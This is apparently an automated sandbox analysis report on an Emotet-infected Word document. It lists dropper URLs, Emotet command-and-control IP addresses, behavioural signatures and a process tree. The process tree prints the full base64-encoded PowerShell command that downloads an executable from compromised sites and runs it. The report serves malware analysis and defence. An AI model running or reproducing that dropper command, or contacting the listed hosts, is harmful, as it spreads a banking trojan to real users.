Overview

overview

10

Static

static

8

EISCC20_09_24.doc

windows7_x64

10

EISCC20_09_24.doc

windows10_x64

10

Analysis

  • max time kernel
    132s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    23/09/2020, 23:43

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    EISCC20_09_24.doc
  • Size 161KB
  • Sample200923-nlbcsdb592
  • SHA256 1cc5edeae07046d2a02914d85adea7d129c619124b76e405e99f63acb512503c
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://guitarsforisrael.org/QPOUUYxLBk/1nprgf/
  • exe.dropper

    http://sadanandpvc.com/twitter/BssXB/
  • exe.dropper

    http://help-m2c.eccang.com/pseovck27kr/T/
  • exe.dropper

    http://youtube-monetization.com/qrnsp/2v/
  • exe.dropper

    http://ahrgintl.com/alfacgiapi/jg1VUae/
  • exe.dropper

    http://helionspharmaceutical.com/wp-admin/Xg/
  • exe.dropper

    http://hanulmotors.com/nbqso/H0DdOyB/

Extracted

Family

  • emotet

C2

  • 174.106.122.139:80

  • 159.203.116.47:8080

  • 173.249.6.108:443

  • 104.236.246.93:8080

  • 174.45.13.118:80

  • 137.59.187.107:8080

  • 94.200.114.161:80

  • 37.187.72.193:8080

  • 67.10.155.92:80

  • 121.124.124.40:7080

  • 24.43.99.75:80

  • 75.139.38.211:80

  • 109.74.5.95:8080

  • 137.119.36.33:80

  • 74.134.41.124:80

  • 66.65.136.14:80

  • 94.1.108.190:443

  • 181.169.235.7:80

  • 79.137.83.50:443

  • 104.131.44.150:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\EISCC20_09_24.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1060
  • C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
    POWeRsHeLL -ENCOD JABVAGoAeQB4AHIAcQBlAD0AKAAnAEYAcAAnACsAKAAnAHIAJwArACcAZwBlACcAKQArACcAcAB1ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBGAGkATABlAFwAcwA0AFgAZAAwADIAMABcAFMAZQBNAFcANABwAHEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAYABVAHIASQB0AHkAYABwAHIATwBUAE8AYABjAGAATwBsACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAMQAnACsAJwAyACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAMQAxACcAKQArACcALAAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQATgBoAGQAZABpADYAZgAgAD0AIAAoACgAJwBCAHgAJwArACcAcABhACcAKQArACcAMQAnACsAKAAnAHoAJwArACcAeAA2ACcAKQApADsAJABTAGUAcAB5ADgAawBkAD0AKAAoACcAWgAnACsAJwBrAF8AZwAnACkAKwAnAHQAeQAnACsAJwBqACcAKQA7ACQAUABkADgANQB1AGEAdAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ACcAKwAnADAAfQBTADQAJwArACcAeABkADAAMgAwAHsAMAAnACsAJwB9AFMAJwArACgAJwBlAG0AdwAnACsAJwA0ACcAKQArACcAcAAnACsAJwBxAHsAMAB9ACcAKQAgACAALQBGACAAWwBDAGgAYQByAF0AOQAyACkAKwAkAE4AaABkAGQAaQA2AGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEoANwB0AGoANABkAGsAPQAoACgAJwBVAHUAJwArACcAZgBfACcAKQArACgAJwBxAG8AJwArACcAZQAnACkAKQA7ACQATAB2ADUAawAxAG4AawA9ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBDAGwAaQBFAE4AVAA7ACQASAAyAHMAXwBuAGgAdAA9ACgAJwBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAvACcAKwAoACcAZwAnACsAJwB1AGkAJwApACsAJwB0AGEAJwArACcAcgAnACsAKAAnAHMAJwArACcAZgBvACcAKQArACgAJwByAGkAJwArACcAcwAnACkAKwAnAHIAJwArACcAYQBlACcAKwAoACcAbAAnACsAJwAuAG8AJwApACsAKAAnAHIAJwArACcAZwAvAFEAUAAnACsAJwBPAFUAJwApACsAJwBVAFkAJwArACgAJwB4ACcAKwAnAEwAQgBrACcAKQArACcALwAxACcAKwAoACcAbgBwAHIAJwArACcAZwBmACcAKQArACcALwAnACsAKAAnACoAaAAnACsAJwB0AHQAcAA6AC8ALwAnACsAJwBzAGEAZAAnACsAJwBhAG4AYQAnACkAKwAnAG4AJwArACcAZAAnACsAKAAnAHAAdgAnACsAJwBjACcAKQArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AdAAnACsAJwB3ACcAKwAnAGkAdAAnACkAKwAoACcAdABlAHIAJwArACcALwBCACcAKQArACgAJwBzACcAKwAnAHMAWAAnACsAJwBCAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBoAGUAbABwACcAKwAnAC0AbQAyAGMALgAnACsAJwBlACcAKwAnAGMAJwArACcAYwBhAG4AZwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwBwACcAKwAnAHMAJwApACsAKAAnAGUAJwArACcAbwB2AGMAawAyACcAKQArACgAJwA3AGsAJwArACcAcgAnACkAKwAoACcALwBUACcAKwAnAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHkAbwAnACsAJwB1AHQAdQBiACcAKwAnAGUALQBtAG8AbgBlAHQAaQAnACkAKwAnAHoAYQAnACsAJwB0AGkAJwArACgAJwBvAG4AJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwAnACkAKwAoACcAcQByAG4AcwAnACsAJwBwAC8AMgAnACkAKwAnAHYAJwArACcALwAnACsAKAAnACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AYQAnACkAKwAnAGgAJwArACcAcgAnACsAKAAnAGcAJwArACcAaQBuAHQAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBhAGwAZgBhACcAKwAnAGMAJwArACcAZwAnACkAKwAoACcAaQBhAHAAaQAvACcAKwAnAGoAZwAnACkAKwAoACcAMQBWACcAKwAnAFUAJwApACsAJwBhAGUAJwArACgAJwAvACcAKwAnACoAaAB0AHQAJwApACsAKAAnAHAAOgAvACcAKwAnAC8AaAAnACsAJwBlAGwAaQBvAG4AcwAnACkAKwAoACcAcABoACcAKwAnAGEAcgAnACkAKwAnAG0AJwArACgAJwBhAGMAZQAnACsAJwB1AHQAaQBjAGEAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwB3ACcAKwAnAHAALQAnACsAJwBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwApACsAJwBYACcAKwAoACcAZwAnACsAJwAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGgAYQAnACkAKwAoACcAbgB1AGwAbQAnACsAJwBvACcAKQArACgAJwB0AG8AJwArACcAcgBzAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAnAC8AJwArACcAbgBiACcAKQArACcAcQAnACsAKAAnAHMAJwArACcAbwAvACcAKQArACgAJwBIADAAJwArACcARABkAE8AeQAnACsAJwBCAC8AJwApACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQB0ADMAbQB6AHcAbAA9ACgAKAAnAEoAJwArACcAcABlAGUAJwArACcAdgBuACcAKQArACcAdAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABLAGgAMgBlADQAbQAzACAAaQBuACAAJABIADIAcwBfAG4AaAB0ACkAewB0AHIAeQB7ACQATAB2ADUAawAxAG4AawAuACIARABgAE8AVwBuAGwAbwBBAGAAZABGAGkAYABMAEUAIgAoACQASwBoADIAZQA0AG0AMwAsACAAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEUAbQBuADUAZAB2AGwAPQAoACgAJwBWACcAKwAnADcANwAnACkAKwAnAG0AZQAnACsAJwBlAGsAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFAAZAA4ADUAdQBhAHQAKQAuACIAbABgAGUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMgAyADkAOAApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEoAbgBhADgAOQBfADIAPQAoACgAJwBLADcAJwArACcAbgAnACkAKwAoACcAXwBnAF8AJwArACcAcAAnACkAKQA7AGIAcgBlAGEAawA7ACQARQA1AGUAYQBsAHQAaQA9ACgAKAAnAEUAcwAnACsAJwA1ADIAMABfACcAKQArACcAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AMABoAF8AdABjAGkAPQAoACgAJwBQAGoAJwArACcAegB6ACcAKQArACgAJwAwAHcAJwArACcAeQAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1880
    • C:\Users\Admin\S4xd020\Semw4pq\Bxpa1zx6.exe
      "C:\Users\Admin\S4xd020\Semw4pq\Bxpa1zx6.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:816
      • C:\Windows\SysWOW64\api-ms-win-core-delayload-l1-1-0\NlsData0011.exe
        "C:\Windows\SysWOW64\api-ms-win-core-delayload-l1-1-0\NlsData0011.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1976

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/816-15-0x0000000000250000-0x0000000000260000-memory.dmp
        Download

        memory/816-14-0x0000000000230000-0x0000000000242000-memory.dmp
        Download

        memory/984-21-0x000007FEF6AD0000-0x000007FEF6D4A000-memory.dmp
        Download

        memory/1060-4-0x0000000006DA0000-0x0000000006FA0000-memory.dmp
        Download

        memory/1060-2-0x0000000008AE0000-0x0000000008AE4000-memory.dmp
        Download

        memory/1880-7-0x000000001AB00000-0x000000001AB01000-memory.dmp
        Download

        memory/1880-11-0x000000001C3C0000-0x000000001C3C1000-memory.dmp
        Download

        memory/1880-10-0x000000001C270000-0x000000001C271000-memory.dmp
        Download

        memory/1880-9-0x00000000023A0000-0x00000000023A1000-memory.dmp
        Download

        memory/1880-8-0x0000000002530000-0x0000000002531000-memory.dmp
        Download

        memory/1880-6-0x00000000022D0000-0x00000000022D1000-memory.dmp
        Download

        memory/1880-5-0x000007FEF1B10000-0x000007FEF24FC000-memory.dmp
        Download

        memory/1976-19-0x0000000000310000-0x0000000000322000-memory.dmp
        Download

        memory/1976-20-0x0000000000330000-0x0000000000340000-memory.dmp
        Download